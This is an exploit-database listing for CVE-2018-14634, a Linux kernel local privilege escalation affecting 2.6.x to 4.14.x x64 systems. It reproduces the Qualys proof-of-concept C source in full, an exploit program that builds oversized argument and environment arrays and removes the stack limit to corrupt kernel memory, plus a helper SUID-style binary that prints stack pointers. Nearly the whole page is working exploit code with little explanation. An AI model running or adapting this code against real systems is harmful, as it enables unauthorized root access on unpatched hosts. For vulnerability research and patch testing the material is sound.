Linux kernel 2.6.x / 3.10.x / 4.14.x (redhat / debian / centos) (x64) mutagen astronomy local privilege escalation Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-09-26 | Type : local | Platform : linux_x86-64

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[+] Code ...

/*
EDB-Note: Systems with less than 32GB of RAM are unlikely to be affected by this issue, due to memory demands during exploitation.
EDB Note: poc-exploit.c
*/

/*
* poc-exploit.c for CVE-2018-14634
* Copyright (C) 2018 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/

#include <limits.h>
#include <paths.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>

#define MAPCOUNT_ELF_CORE_MARGIN (5)
#define DEFAULT_MAX_MAP_COUNT (USHRT_MAX - MAPCOUNT_ELF_CORE_MARGIN)

#define PAGESZ ((size_t)4096)
#define MAX_ARG_STRLEN ((size_t)128 << 10)
#define MAX_ARG_STRINGS ((size_t)0x7FFFFFFF)

#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)

int
main(void)
{
if (sizeof(size_t) != sizeof(uint64_t)) die();
const size_t alpha = 512;
const size_t sprand = 8192;
const size_t beta = (size_t)9 << 10;
const size_t items = (size_t)1 << 31;
const size_t offset = items * sizeof(uintptr_t);

#define LLP "LD_LIBRARY_PATH=."
static char preload_env[MAX_ARG_STRLEN];
{
char * const sp = stpcpy(preload_env, "LD_PRELOAD=");
char * cp = preload_env + sizeof(preload_env);
size_t n;
for (n = 1; n <= (size_t)(cp - sp) / sizeof(LLP); n++) {
size_t i;
for (i = n; i; i--) {
*--cp = (n == 1) ? '\0' : (i == n) ? ':' : '0';
cp -= sizeof(LLP)-1;
memcpy(cp, LLP, sizeof(LLP)-1);
}
}
memset(sp, ':', (size_t)(cp - sp));
if (memchr(preload_env, '\0', sizeof(preload_env)) !=
preload_env + sizeof(preload_env)-1) die();
}
const char * const protect_envp[] = {
preload_env,
};
const size_t protect_envc = sizeof(protect_envp) / sizeof(protect_envp[0]);
size_t _protect_envsz = 0;
{
size_t i;
for (i = 0; i < protect_envc; i++) {
_protect_envsz += strlen(protect_envp[i]) + 1;
}
}
const size_t protect_envsz = _protect_envsz;

const size_t scratch_envsz = (size_t)1 << 20;
const size_t scratch_envc = scratch_envsz / MAX_ARG_STRLEN;
if (scratch_envsz % MAX_ARG_STRLEN) die();
static char scratch_env[MAX_ARG_STRLEN];
memset(scratch_env, ' ', sizeof(scratch_env)-1);

const size_t onebyte_envsz = (size_t)256 << 10;
const size_t onebyte_envc = onebyte_envsz / 1;

const size_t padding_envsz = offset + alpha;
/***/ size_t padding_env_rem = padding_envsz % MAX_ARG_STRLEN;
const size_t padding_envc = padding_envsz / MAX_ARG_STRLEN + !!padding_env_rem;
static char padding_env[MAX_ARG_STRLEN];
memset(padding_env, ' ', sizeof(padding_env)-1);
static char padding_env1[MAX_ARG_STRLEN];
if (padding_env_rem) memset(padding_env1, ' ', padding_env_rem-1);

const size_t envc = protect_envc + scratch_envc + onebyte_envc + padding_envc;
if (envc > MAX_ARG_STRINGS) die();

const size_t argc = items - (1 + 1 + envc + 1);
if (argc > MAX_ARG_STRINGS) die();

const char * const protect_argv[] = {
"./poc-suidbin",
};
const size_t protect_argc = sizeof(protect_argv) / sizeof(protect_argv[0]);
if (protect_argc >= argc) die();
size_t _protect_argsz = 0;
{
size_t i;
for (i = 0; i < protect_argc; i++) {
_protect_argsz += strlen(protect_argv[i]) + 1;
}
}
const size_t protect_argsz = _protect_argsz;

const size_t padding_argc = argc - protect_argc;
const size_t padding_argsz = (offset - beta) - (alpha + sprand / 2 +
protect_argsz + protect_envsz + scratch_envsz + onebyte_envsz / 2);
const size_t padding_arg_len = padding_argsz / padding_argc;
/***/ size_t padding_arg_rem = padding_argsz % padding_argc;
if (padding_arg_len >= MAX_ARG_STRLEN) die();
if (padding_arg_len < 1) die();
static char padding_arg[MAX_ARG_STRLEN];
memset(padding_arg, ' ', padding_arg_len-1);
static char padding_arg1[MAX_ARG_STRLEN];
memset(padding_arg1, ' ', padding_arg_len);

const char ** const envp = calloc(envc + 1, sizeof(char *));
if (!envp) die();
{
size_t envi = 0;
size_t i;
for (i = 0; i < protect_envc; i++) {
envp[envi++] = protect_envp[i];
}
for (i = 0; i < scratch_envc; i++) {
envp[envi++] = scratch_env;
}
for (i = 0; i < onebyte_envc; i++) {
envp[envi++] = "";
}
for (i = 0; i < padding_envc; i++) {
if (padding_env_rem) {
envp[envi++] = padding_env1;
padding_env_rem = 0;
} else {
envp[envi++] = padding_env;
}
}
if (envi != envc) die();
if (envp[envc] != NULL) die();
if (padding_env_rem) die();
}

const size_t filemap_size = ((padding_argc - padding_arg_rem) * sizeof(char *) / (DEFAULT_MAX_MAP_COUNT / 2) + PAGESZ-1) & ~(PAGESZ-1);
const size_t filemap_nptr = filemap_size / sizeof(char *);
char filemap_name[] = _PATH_TMP "argv.XXXXXX";
const int filemap_fd = mkstemp(filemap_name);
if (filemap_fd <= -1) die();
if (unlink(filemap_name)) die();
{
size_t i;
for (i = 0; i < filemap_nptr; i++) {
const char * const ptr = padding_arg;
if (write(filemap_fd, &ptr, sizeof(ptr)) != (ssize_t)sizeof(ptr)) die();
}
}
{
struct stat st;
if (fstat(filemap_fd, &st)) die();
if ((size_t)st.st_size != filemap_size) die();
}

const char ** const argv = mmap(NULL, (argc + 1) * sizeof(char *), PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (argv == MAP_FAILED) die();
if (protect_argc > PAGESZ / sizeof(char *)) die();
if (mmap(argv, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argv) die();
{
size_t argi = 0;
{
size_t i;
for (i = 0; i < protect_argc; i++) {
argv[argi++] = protect_argv[i];
}
}
{
size_t n = padding_argc;
while (n) {
void * const argp = &argv[argi];
if (((uintptr_t)argp & (PAGESZ-1)) == 0) {
if (padding_arg_rem || n < filemap_nptr) {
if (mmap(argp, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argp) die();
} else {
if (mmap(argp, filemap_size, PROT_READ, MAP_FIXED | MAP_PRIVATE, filemap_fd, 0) != argp) die();
argi += filemap_nptr;
n -= filemap_nptr;
continue;
}
}
if (padding_arg_rem) {
argv[argi++] = padding_arg1;
padding_arg_rem--;
} else {
argv[argi++] = padding_arg;
}
n--;
}
}
if (argi != argc) die();
if (argv[argc] != NULL) die();
if (padding_arg_rem) die();
}

{
static const struct rlimit stack_limit = {
.rlim_cur = RLIM_INFINITY,
.rlim_max = RLIM_INFINITY,
};
if (setrlimit(RLIMIT_STACK, &stack_limit)) die();
}
execve(argv[0], (char * const *)argv, (char * const *)envp);
die();
}

/*
EDB Note: EOF poc-exploit.c
*/




/*
EDB Note: poc-suidbin.c
*/


/*
* poc-suidbin.c for CVE-2018-14634
* Copyright (C) 2018 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)

int
main(const int argc, const char * const * const argv, const char * const * const envp)
{
printf("argc %d\n", argc);

char stack = '\0';
printf("stack %p < %p < %p < %p < %p\n", &stack, argv, envp, *argv, *envp);

#define LLP "LD_LIBRARY_PATH"
const char * const llp = getenv(LLP);
printf("getenv %p %s\n", llp, llp);

const char * const * env;
for (env = envp; *env; env++) {
if (!strncmp(*env, LLP, sizeof(LLP)-1)) {
printf("%p %s\n", *env, *env);
}
}
exit(EXIT_SUCCESS);
}

/*
EDB Note: EOF poc-suidbin.c
*/